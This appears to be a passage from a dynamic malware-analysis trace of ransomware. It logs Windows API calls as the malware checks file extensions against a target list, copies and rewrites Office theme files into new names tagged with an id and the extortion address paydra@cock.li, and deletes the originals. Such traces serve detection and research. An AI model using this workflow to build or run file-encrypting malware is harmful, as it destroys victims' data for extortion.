[0046.594] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.594] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0046.594] lstrlenW (lpString=".zip") returned 4 [0046.594] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.595] lstrlenW (lpString=".rar") returned 4 [0046.595] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.595] lstrlenW (lpString=".bz2") returned 4 [0046.595] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.595] lstrlenW (lpString=".7z") returned 3 [0046.595] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0046.595] lstrlenW (lpString=".dbf") returned 4 [0046.595] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0046.595] lstrlenW (lpString=".1cd") returned 4 [0046.595] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0046.595] lstrlenW (lpString=".jpg") returned 4 [0046.595] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0046.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0046.595] lstrlenW (lpString=".doc") returned 4 [0046.595] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.595] lstrlenW (lpString=".docx") returned 5 [0046.595] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.595] lstrlenW (lpString=".pdf") returned 4 [0046.595] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.595] lstrlenW (lpString=".xls") returned 4 [0046.595] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.595] lstrlenW (lpString=".xlsx") returned 5 [0046.595] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.595] lstrlenW (lpString=".ppt") returned 4 [0046.595] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.595] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0046.595] lstrlenW (lpString=".zip") returned 4 [0046.595] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.595] lstrlenW (lpString=".rar") returned 4 [0046.596] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.596] lstrlenW (lpString=".bz2") returned 4 [0046.596] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.596] lstrlenW (lpString=".7z") returned 3 [0046.596] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0046.596] lstrlenW (lpString=".dbf") returned 4 [0046.596] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0046.596] lstrlenW (lpString=".1cd") returned 4 [0046.596] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0046.596] lstrlenW (lpString=".jpg") returned 4 [0046.596] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.596] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0046.596] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0046.596] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0046.596] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=2209) returned 1 [0046.596] CloseHandle (hObject=0x1e8) returned 1 [0046.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif")) returned 0x20 [0046.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0046.597] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0046.597] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.597] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.597] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0046.599] GetLastError () returned 0x0 [0046.599] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x8a1, lpOverlapped=0x0) returned 1 [0046.602] WriteFile (in: hFile=0x188, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x8b0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x8b0, lpOverlapped=0x0) returned 1 [0046.602] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.602] WriteFile (in: hFile=0x188, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xea, lpOverlapped=0x0) returned 1 [0046.603] SetEndOfFile (hFile=0x188) returned 1 [0046.603] CloseHandle (hObject=0x188) returned 1 [0046.603] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.603] SetEndOfFile (hFile=0x1e8) returned 1 [0046.604] CloseHandle (hObject=0x1e8) returned 1 [0046.604] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0046.604] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif")) returned 1 [0046.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0046.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0046.604] lstrlenW (lpString=".doc") returned 4 [0046.604] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.604] lstrlenW (lpString=".docx") returned 5 [0046.604] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0046.604] lstrlenW (lpString=".pdf") returned 4 [0046.604] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.604] lstrlenW (lpString=".xls") returned 4 [0046.604] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.604] lstrlenW (lpString=".xlsx") returned 5 [0046.604] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0046.604] lstrlenW (lpString=".ppt") returned 4 [0046.604] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0046.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0046.604] lstrlenW (lpString=".zip") returned 4 [0046.604] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.604] lstrlenW (lpString=".rar") returned 4 [0046.605] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.605] lstrlenW (lpString=".bz2") returned 4 [0046.605] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0046.605] lstrlenW (lpString=".7z") returned 3 [0046.605] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0046.605] lstrlenW (lpString=".dbf") returned 4 [0046.605] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0046.605] lstrlenW (lpString=".1cd") returned 4 [0046.605] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0046.605] lstrlenW (lpString=".jpg") returned 4 [0046.605] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0046.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0046.605] lstrlenW (lpString=".doc") returned 4 [0046.605] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.605] lstrlenW (lpString=".docx") returned 5 [0046.605] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0046.605] lstrlenW (lpString=".pdf") returned 4 [0046.605] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.605] lstrlenW (lpString=".xls") returned 4 [0046.605] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.605] lstrlenW (lpString=".xlsx") returned 5 [0046.605] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0046.605] lstrlenW (lpString=".ppt") returned 4 [0046.605] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0046.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0046.605] lstrlenW (lpString=".zip") returned 4 [0046.605] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.605] lstrlenW (lpString=".rar") returned 4 [0046.605] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.606] lstrlenW (lpString=".bz2") returned 4 [0046.606] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0046.606] lstrlenW (lpString=".7z") returned 3 [0046.606] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0046.606] lstrlenW (lpString=".dbf") returned 4 [0046.606] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0046.606] lstrlenW (lpString=".1cd") returned 4 [0046.606] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0046.606] lstrlenW (lpString=".jpg") returned 4 [0046.606] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.606] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0046.606] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0046.606] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0046.606] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=21812) returned 1 [0046.606] CloseHandle (hObject=0x1e8) returned 1 [0046.606] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png")) returned 0x20 [0046.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0046.607] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0046.607] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.607] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.607] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0046.607] GetLastError () returned 0x0 [0046.607] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x5534, lpOverlapped=0x0) returned 1 [0046.613] WriteFile (in: hFile=0x188, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x5540, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x5540, lpOverlapped=0x0) returned 1 [0046.614] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.614] WriteFile (in: hFile=0x188, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0046.614] SetEndOfFile (hFile=0x188) returned 1 [0046.614] CloseHandle (hObject=0x188) returned 1 [0046.614] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.614] SetEndOfFile (hFile=0x1e8) returned 1 [0046.615] CloseHandle (hObject=0x1e8) returned 1 [0046.615] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0046.615] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png")) returned 1 [0046.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0046.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0046.616] lstrlenW (lpString=".doc") returned 4 [0046.616] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.616] lstrlenW (lpString=".docx") returned 5 [0046.616] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.616] lstrlenW (lpString=".pdf") returned 4 [0046.616] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.616] lstrlenW (lpString=".xls") returned 4 [0046.616] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.616] lstrlenW (lpString=".xlsx") returned 5 [0046.616] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.616] lstrlenW (lpString=".ppt") returned 4 [0046.616] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0046.616] lstrlenW (lpString=".zip") returned 4 [0046.616] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.616] lstrlenW (lpString=".rar") returned 4 [0046.616] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.616] lstrlenW (lpString=".bz2") returned 4 [0046.616] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.616] lstrlenW (lpString=".7z") returned 3 [0046.616] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0046.616] lstrlenW (lpString=".dbf") returned 4 [0046.616] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0046.616] lstrlenW (lpString=".1cd") returned 4 [0046.616] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0046.616] lstrlenW (lpString=".jpg") returned 4 [0046.616] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0046.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0046.617] lstrlenW (lpString=".doc") returned 4 [0046.617] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.617] lstrlenW (lpString=".docx") returned 5 [0046.617] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.617] lstrlenW (lpString=".pdf") returned 4 [0046.617] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.617] lstrlenW (lpString=".xls") returned 4 [0046.617] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.617] lstrlenW (lpString=".xlsx") returned 5 [0046.617] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.617] lstrlenW (lpString=".ppt") returned 4 [0046.617] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0046.617] lstrlenW (lpString=".zip") returned 4 [0046.617] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.617] lstrlenW (lpString=".rar") returned 4 [0046.617] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.617] lstrlenW (lpString=".bz2") returned 4 [0046.617] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.617] lstrlenW (lpString=".7z") returned 3 [0046.617] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0046.617] lstrlenW (lpString=".dbf") returned 4 [0046.617] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0046.617] lstrlenW (lpString=".1cd") returned 4 [0046.617] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG") returned 75 [0046.617] lstrlenW (lpString=".jpg") returned 4 [0046.617] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.618] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0046.618] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0046.618] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0046.618] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=2527) returned 1 [0046.618] CloseHandle (hObject=0x1e8) returned 1 [0046.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif")) returned 0x20 [0046.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0046.618] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0046.618] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.618] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.618] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0047.211] GetLastError () returned 0x0 [0047.211] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x9df, lpOverlapped=0x0) returned 1 [0047.260] WriteFile (in: hFile=0x180, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x9e0, lpOverlapped=0x0) returned 1 [0047.261] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.261] WriteFile (in: hFile=0x180, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xea, lpOverlapped=0x0) returned 1 [0047.261] SetEndOfFile (hFile=0x180) returned 1 [0047.261] CloseHandle (hObject=0x180) returned 1 [0047.261] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.261] SetEndOfFile (hFile=0x1e8) returned 1 [0047.262] CloseHandle (hObject=0x1e8) returned 1 [0047.262] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0047.262] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif")) returned 1 [0047.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0047.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0047.263] lstrlenW (lpString=".doc") returned 4 [0047.263] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.263] lstrlenW (lpString=".docx") returned 5 [0047.263] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.263] lstrlenW (lpString=".pdf") returned 4 [0047.263] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.263] lstrlenW (lpString=".xls") returned 4 [0047.263] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.264] lstrlenW (lpString=".xlsx") returned 5 [0047.264] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.264] lstrlenW (lpString=".ppt") returned 4 [0047.264] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0047.264] lstrlenW (lpString=".zip") returned 4 